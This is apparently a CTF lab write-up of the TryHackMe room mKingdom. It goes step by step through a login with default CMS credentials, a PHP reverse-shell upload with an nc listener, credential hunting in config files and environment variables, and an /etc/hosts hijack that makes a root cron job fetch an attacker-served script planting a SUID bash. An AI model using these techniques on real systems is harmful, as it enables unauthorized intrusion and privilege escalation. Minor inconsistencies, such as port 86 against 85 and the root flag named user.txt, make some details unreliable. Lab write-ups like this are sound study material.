Post

mKingdom

mKingdom

Overview

mKingdom is an easy rated TryHackMe room focused on privilege escalation.

Initial Enumeration

I begin with an namp scan against the target.

1
2
3
4
5
6
7
8
9
10
11
root@ip-10-10-73-173:~# nmap -T5 -p- 10.10.63.127
Starting Nmap 7.80 ( https://nmap.org ) at 2025-07-13 01:59 BST
Nmap scan report for ip-10-10-63-127.eu-west-1.compute.internal (10.10.63.127)
Host is up (0.00031s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE
85/tcp open  mit-ml-dev
MAC Address: 02:87:BD:95:3E:13 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.10 seconds

From this i can see that only 1 port is open, port 86. After visiting this i see it is a webserver and i am greeted with an image of bowser.

Looking at the page source nothing stands out so i begin scanning for directories below is the gobuster command i ran to achieve this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@ip-10-10-73-173:~/Mario# gobuster dir -u http://10.10.120.54:85 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.120.54:85
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 288]
/.hta                 (Status: 403) [Size: 283]
/.htpasswd            (Status: 403) [Size: 288]
/app                  (Status: 301) [Size: 312] [--> http://10.10.120.54:85/app/]
/index.html           (Status: 200) [Size: 647]
/server-status        (Status: 403) [Size: 292]
Progress: 4655 / 4656 (99.98%)
===============================================================
Finished
===============================================================

Going to the /app directory discovered in the scan displayed a green JUMP button.

After clicking it displayed an alert on my screen and then took me to a personal website built using Concrete5 CMS. Displaying a blog about mushrooms.

Looking at exploits for this CMS yielded nothing so i began testing default credentials on the login page to see if i good easily gain access.

Exploitation

After testing a few credentials i found the username and password to be what looks like Concrete5 CMS default credentials and now had access to the admin dashboard. From here i began looking for ways to upload a php reverse shell to the server.

Looking at the side panel under the System & Settings there was an option to add accepted file types i added php to this list.

Now i could upload my php reverse shell to the server. making sure to also be listening for connections with

1
nc -nlvp 1234

I used Pentestmonkeys PHP Reverse Shell in this particular case from https://www.revshells.com/. When the file had finished upload it then greeted me with a popup specifying the uploads success and the url i could visit to see the file upon visiting this ulr my listener caught the reverse shell.

I now had a foothold on the server as user www-data. From here i began stabalising my netcat shell with the following commands.

1
2
3
4
5
python -c "import pty;pty.spawn('/bin/bash')"
CTRL+Z
stty raw -echo; fg
export TERM=xterm
stty rows <rows> cols <cols>

Privilege Escalation

Now all i needed to do was find a way to escalate my privileges i initially began by looking for the following:

  1. system wide cron jobs at /etc/crontab
  2. file capabilities with getcap -r / 2>/dev/null
  3. searching for SUID/GUID binaries with find / -type f -perm -04000 2>/dev/null

I was able to find the cat command had its SUID bit set however it was not owned by root but instead by toad so usefulness was limited. At this point i began trying to look inside the toad users $HOME directory using the cat command attempting to find ssh private keys or passwords in .bash_history but could not find anything. After this i began looking in the web applications directory located at /var/www/html here i was trying to look for reused credentials maybe to connect to database or as a users password in a database stored as a hash. Looking in the /var/www/html/app/castle/application/config directory i found a file called database.php i was not able to view this with cat but it worked fine with vi.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

return [
    'default-connection' => 'concrete',
    'connections' => [
        'concrete' => [
            'driver' => 'c5_pdo_mysql',
            'server' => 'localhost',
            'database' => 'mKingdom',
            'username' => 'toad',
            'password' => 'to********est',
            'character_set' => 'utf8',
            'collation' => 'utf8_unicode_ci',
        ],
    ],
];
~                                                                               
~                                                                               
~

Using this password i was able to gain access to toads account. From here i attempted the same Privilege Escalation enumeration checks as earlier but this time also checking what commands i could run with sudo with sudo -l. Unfortunately i did not have sudo access. After a while of searching i eventually checked the environment variables and found a variable PWD_token that contained a base64 encoded string.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
toad@mkingdom:~$ env
XDG_SESSION_ID=c2
SHELL=/bin/bash
TERM=xterm
USER=toad
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:
PWD_token=aWthVGVOVEFOdEVTCg==
MAIL=/var/mail/toad
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
QT_QPA_PLATFORMTHEME=appmenu-qt5
PWD=/home/toad
LANG=en_US.UTF-8
SHLVL=1
HOME=/home/toad
LOGNAME=toad
LESSOPEN=| /usr/bin/lesspipe %s
XDG_RUNTIME_DIR=/run/user/1002
LESSCLOSE=/usr/bin/lesspipe %s %s
_=/usr/bin/env

Upon decoding this i saw what looked to be a password.

1
2
toad@mkingdom:~$ echo -n "aWthVGVOVEFOdEVTCg==" | base64 -d
i*********S

Trying this password on the mario user account granted me access. And i now had access to the first flag user.txt located in marios home directory. At this point i was a bit stuck as i had looked at all the usual privilege escalation vectors such as SUID,sudo,capabilities,cronjobs,PATH and process inspection. So at this point i decided to try out an automated script to see if it would have any better luck. I used the pspy tool to monitor linux processes without root to see if there was anything i was missing. In order to get it onto the target machine i downloaded the precmopiled binary onto my attacking machine and then started a simple python webserver and downloaded it on to the target in using the wget command. Running it here showed that there was a root cronjob running every so often.

After looking at the counter.sh i saw that it was owned by root and was not writable so this ruined my first idea of modifying the script but after looking at it more carefully i noticed it was using the mkingdom.thm hostname to resolve the ip address and fetch the script. From here i decided to change the ip address that mkingdom.thm resolved to by modifying its entry in the /etc/hosts file to be that of my attacking machine.

1
2
3
4
5
6
7
8
9
10
11
12
127.0.0.1       localhost
10.10.245.60    mkingdom.thm
127.0.0.1       backgroundimages.concrete5.org
127.0.0.1       www.concrete5.org
127.0.0.1       newsflow.concrete5.org

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

This way i could get it to execute arbitrary code as root. On my target machine i copied the file structure of /app/castle/application/counter.sh and put the following contents into the counter.sh script:

1
2
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash

I then ran a python http server with the following command making sure to run it on port 85 to match with cronjob. Below is the series of commands i executed.

1
2
3
4
5
6
7
8
root@ip-10-10-245-60:~/app/castle/application# cat counter.sh 
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
root@ip-10-10-245-60:~/app/castle/application# cd
root@ip-10-10-245-60:~# sudo python3 -m http.server 85
Serving HTTP on 0.0.0.0 port 85 (http://0.0.0.0:85/) ...

After waiting a few minutes the server reached out to the attacking machine downloaded the script and ran it.

1
10.10.49.125 - - [13/Jul/2025 13:35:02] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -

After visiting /tmp i then saw the rootbash binary with the suid bit set and owned by root.

Running ./rootbash -p gave me a root shell and i was now able to easily view the root flag located in /root/user.txt with vi.

1
2
3
rootbash-4.3# ls
Desktop    Downloads  Pictures	Templates  Videos
Documents  Music      Public	user.txt
1
rootbash-4.3# vi user.txt
This post is licensed under CC BY 4.0 by the author.